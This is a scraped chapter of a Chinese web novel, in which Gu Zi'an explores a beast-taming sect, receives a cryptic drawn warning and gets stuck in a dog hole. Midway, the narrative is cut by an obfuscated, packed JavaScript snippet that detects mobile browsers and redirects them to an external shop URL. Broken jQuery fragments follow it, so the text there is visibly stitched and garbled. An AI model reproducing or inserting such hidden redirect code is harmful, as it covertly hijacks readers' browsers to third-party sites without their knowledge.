文趣网 > 都市小说 > 勾引无情道宿敌 > 45. 纸团
    顾子安进入御兽门。

    “啊你踩到我了!”

    顾子安吓了一跳,交叉着抬脚,苟着身体垂着脑袋,打量着空空如也的地板。

    顾子安丈二和尚摸不著头脑,缓缓冒出一个“?”。

    “啊你踩到我了!”声音凄厉哀伤,颤音不绝,回味悠长。

    顾子安奇了怪了,他踮起脚尖,将右脚伸直,左腿缓缓下压,然后重心降低,伸长脖子瞪大眼睛看地板,这地板上除了灰尘落叶还有一些不可说的排泄物之外,一无所有。

    究竟是什么鬼东西在碰瓷。

    顾子安觉得很有意思,于是环顾左右,誓要抓出发出叫声的“幕后黑手”。

    一只身躯庞大的肥鸟火力全开,骨节分明的纤细长腿大步流星,重重地踏在地面上,让人心中忍不住担忧它的腿就此折断,扑腾着少毛翅膀哼哧哼哧掠过顾子安的身体,然后朝着天边跑去,一路上扬起无数尘埃,地面落叶撩起又飘舞着落下。

    顾子安目送它离去,心里不着调的想:“这种鸡也太亏了,腿上都没什么肉,全是骨头。”

    顾子安回头,欲重新寻觅奇怪叫声的来源,一回头就撞上硬物,撞了个眼冒金星。

    顾子安的身体被带着转了两圈,手放在头上缓和,眼睛还没睁开,只听对方匆忙道:“非常抱歉,我要去追我的灵兽了。”

    那名弟子双手把住顾子安的肩膀,然后拉下顾子安捂着头的手,似乎去查看顾子安的伤势如何。

    “大胆!”长白怒道,一脚踹在那名弟子膝盖处,“梆!”膝盖坠地。

    顾子安轻微摇晃了两下脑袋,眨了眨眼睛,看清了来人。

    对方是个其貌不扬的男子,穿着杂色的粗布衣服。

    今黑紧跟在顾子安身后,刀剑出鞘,防备地看向四周。

    美妙居士是修真界呼风唤雨的人物,稍有风吹草动便会掀起腥风血雨,他的重要性不言而喻。

    更何况,这么多年来,萧承平从未同时给长白今黑安排过同一个任务。

    这也意味着这个任务很难。

    长白和今黑以为会难题出在顾子安身上,因为顾子安心思诡谲城府深,活脱脱的笑面虎美人蛇,虽然他上一刻笑着对你说话,但谁也无法保证他下一刻不会突然发难。

    没想到问题出在了自己人身上!

    “天杀的!”长白抓住那弟子的头发,“你知道你撞了谁吗?”

    也不睁大你的眼睛好好看看这个人是谁,是你撞得起的吗?

    弟子惶恐,不顾长白拽着他的头发,接连不断地磕头:“弟子不知,贵人赎罪!还望长白大人赎罪!今黑大人赎罪!”

    不知!

    此话一出,长白今黑两人瞬间变了脸色,肝胆欲裂:他怎么敢不知?!话本难道没有发在他身上还是信息没有传递到位,不是整个商云上下所有人都要守口如瓶吗?怎么还有漏网之鱼!

    长白几乎是下意识就捂住了那名弟子的嘴,然后逼迫着自己不去看顾子安的反应。

    美妙居士素来敏锐,虽然如今失去了许多记忆,可他的本性和狡猾没有改变,要是让他看出端倪,商云岂不是被他搅得天翻地覆?

    长白心道:宗主就该把他关进大狱,严加看守,而不是这么散养着,所有人都如临大敌不敢把商云搅成一滩浑水。

    今黑常年苦着一张脸,于是眼睛很小,眼神不容易被捕捉,加之他站在顾子安身旁巡视,于是他借着巡视之际不着痕迹地偷觑顾子安的脸色。

    顾子安脸上笑意未减,他的手捏成拳头按在后脑勺,他对长白说:“长白,你放开他,我来盘问。”

    长白立刻松开了那名弟子。

    顾子安吊儿郎当地笑着十分自来熟地说:“我刚才看到跑过去了什么玩意儿,是瘦腿儿的鸡还是杂毛的鹤?太好笑了哈哈哈哈哈。”

    “……是乌鸡和白鹤的结合。”那名弟子似乎没有料到顾子安会问这么一个问题。

    顾子安思忖片刻道:“那可真是去其糟粕去其精华啊,既舍弃了乌鸡的美味,又舍弃了白鹤的美丽。”

    那名弟子嘴角抽搐两下。

    顾子安轻描淡写摆摆手,冲着长白点点头,意思不言而喻。

    放了他。

    顾子安道:“好吧,你快去追那玩意儿吧,再不去我估计它都要跑遍整个商云了。”

    顾子安虽然现在灵力修为功德记忆几乎清零,但是他身上那种从容不迫的气度,那种属于上位者的姿态,依旧具备超凡的压迫感,让人想要听从他的命令。

    加之,宗主礼待顾敛,长白不敢造次。

    长白大逆不道地猜测,这么多年,宗主身边一直没有一个贴心人,也许是高处不胜寒,宗主或许感到孤独。

    而顾敛作为宗主此生唯一的劲敌,当然还是留着羞辱欺负有意思,如果顾敛轻而易举就死了,那宗主就没有对手了,没有对手是一件凄凉又可悲的事情。

    长白松手后,那名弟子三两步跑出三丈开外,随后没有丝毫犹豫,跑出了幻影,直直奔向天边。

    哇,风驰电掣啊。

    顾子安握紧手中的纸团,心中感慨万千,末了化作一句不愧是我怀宁养出来的好汉。

    “啊你踩到我了!”是一只鹦鹉发出的声音。

    这只鹦鹉倒挂在树上,全身羽毛炸开,像一个刺猬,然后口吐白沫一直重复这句话,树下蹲着一个兽修,眼巴巴地望着鹦鹉,他生怕鹦鹉落下来摔死了,在树底下铺了层层叠叠的被子,又热着土里面的地鼠和蚯蚓了,地鼠和蜈蚣的兽修来找鹦鹉的兽修交谈。

    相视一笑,都从彼此眼中看出了无奈和苦楚。

    眺望整个御兽门,目之所及,皆是暴走窜稀怪叫的灵兽和拔腿狂追的兽修。

    顾子安道:“这里的灵兽怎么如此不同人性?养不熟的话还养它干嘛?尽惹些麻烦事。”

    长白道:“夫人您的意思是?”

    顾子安故意道:“杀掉。”

    长白道:“不可。”

    “为何不可?”

    长白苦兮兮道:“这是一个怨气深重的世道,许多灵兽已经开了灵智,擅自夺去它们的性命,他们是要化成怨妖的,比起怨妖,养着这些不听话的灵兽属实是更好的选择。”

    顾子安道:“那这些东西是怎么冒出来的?是自愿的吗?”

    长白一时语塞,半天憋出来一句:“夫人,您父母生您的时候,征求了您的意见吗?您是自愿来到这个世界上的吗?”

    我去了!

    顾子安的脸瞬间垮下来,眼里闪烁着愤怒的凶光。

    长白不知道自己说错哪句话了,他以为自己的这个类比很贴切。

    谁能告诉他顾子安究竟是怎么了,怎么一下子就变脸了:“夫人,您……”

    长白不会知道,他的那句话恰巧刺痛了顾子安十七岁的少年心事,从未想到会以如此狠辣的方式撕开,鲜血淋漓。

    顾子安十七岁时之所以孤身孑然离开怀宁,正是因为他的父母没有征求他的许可而把他生下来。

    不幸的是,他的父母并不相爱,他的出生也没有征求他父母的许可。

    既然相看两厌,那我走好了。彼时顾子安少年心性心高气傲,自认自己这事做得十分有骨气。

    顾子安用力地甩翻衣袖,双手背在身后,埋着头就开始暴走。

    长白心道:“完蛋了。”

    今黑心道:“完蛋了,不过长白比我先完蛋。”他竟然有些幸灾乐祸。

    两人急忙追上去,就这么转眼的功夫,顾子安就不见了身影,周遭一片混沌狼藉,上哪儿找这么个人?

    长白今黑捏诀寻找萧承平的梧桐羽,一顿追踪,将梧桐羽的位置锁定在了御兽门的兽圈周遭。

    “这……”太也臭了。

    长白今黑在商云也算身居高位,什么时候受过这种迫害。

    两人两眼一黑,却不敢犹豫,牙一咬心一横,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17853692|211867||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一边沿着一个个的房间进行地毯式搜寻,一边摇人过来帮忙找。

    *

    顾子安打开手里面的纸团,纸团上闪烁着怀宁的桂鱼图案,熟悉的感觉扑面而来。

    上面没有字,是一幅潦草的画。

    整个画面被一颗红色的爱心霸占,画面中心黑色笔墨寥寥数笔勾勒出一个“勾勾手指”的图案,角落里有被云朵模样的文案框起来的七零八碎的文字笔画,顾子安看了老半天,依稀读出来这是“危”字。

    顾子安:“……”

    顾子安揉皱纸团握在手心又不信邪似的飞快打开瞄一眼。

    颜色大胆,线条乖戾。

    他的眼睛再次被雷霆画作袭击了。

    不忍直视。伤天害理。

    顾子安猛地闭紧眼睛偏过脑袋,嫌弃地把这纸团拿得远远的。

    顾子安朝地上随手一扔,他敢打包票,在商云这片土地,一百年之内没有人能够读懂这幅画的言外之意。

    如果一百年后真的有人懂,顾子安会露出一个欣慰的笑容,然后将这个人送到大师兄面前。

    那已经不是一个人的范畴了,那是大师兄失散多年的知音!

    没错,这幅惊世骇俗的画作正是出自涂明白之手。

    涂明白说起话来直击灵魂喋喋不休,画画却生涩晦涩,长处与短处同样显眼。

    顾子安心塞无比,他难道不知道商云危险吗?真当他是蠢货呢?

    还派人以撞击这种如此猥琐老土的方式传信,真的是活腻歪了。

    他能跑不知道跑吗?他跑不掉啊。

    从一路弟子看到长白今黑的反应来看,长白今黑在商云绝对是个角色,估计是萧承平的左膀右臂了。

    这种左膀右臂不去完成那些重要的任务,反而在这里贴身陪他瞎逛。这能说明什么呢?

    “就在这附近,大家注意。”墙边传来商云弟子的声音。

    来得这么快?

    顾子安小心翼翼地起身,蹑手蹑脚地将整个身体贴着墙壁,屏息凝神,几乎与墙融为一体了。

    顾子安还不想被找到。

    顾子安的眼珠子溜溜地转,敏锐地捕捉到了一个半人高的洞穴,洞穴附近长了长长的草,若是不仔细看,根本发现不了深草背后还有一个黑黢黢的狗洞。

    顾子安钻了进去。

    他失算了。

    他被卡住了。

    顾子安的记忆停留在十七岁,之后几百年他的面容虽然没有太大的变化,可是他的身体更为肩宽体长。

    他没把这个狗洞放在眼里,他的身材如此的好,绝对不可能卡住,他就算是像虫子一样蛄蛹他也能够出去。

    可是现在他的肩卡住了,不能动弹,双臂被压在身体下面,根本无法发力。他决定蹬腿,但是他的腿太长了,伸展不开,无法得力。

    顾子安挣扎了许久,终于腿抽筋了,被压了许久的手也麻了。

    顾子安:“……”

    顾子安的脑袋又热又红,他垂下脑袋,他无话可说了。

    顾子安的下巴放置在地上,撇下嘴角,垂下眼睫,双目漆黑。

    视线里出现了一只狗爪子,顺着黑色的腿毛一路向上,顾子安对上了一双眼睛。

    顾子安和这只通体漆黑毛、发油亮的大狗四目相对。

    “!!!”

    顾子安心中警铃大作。

    他以为这只黑狗会狂吠,引来那些人,引来也好,虽然有些丢人,但是他一个人出不去,他真的累了。

    哪知这狗从头到尾表现得十分平静,淡淡地觑了他一眼,然后敷衍地摇摇尾巴,走开了。

    黑狗回到了几米之外自己的狗窝,舒坦地卧在里面,将脑袋放在软枕上,脸朝着顾子安坐在的方向,摇着尾巴,神色颇为自得。

    顾子安卡在墙缝里,居然从这条狗的大眼睛里看出了几分骄矜和傲慢。

    顾子安怀疑人生:“它这是在看我笑话吗?”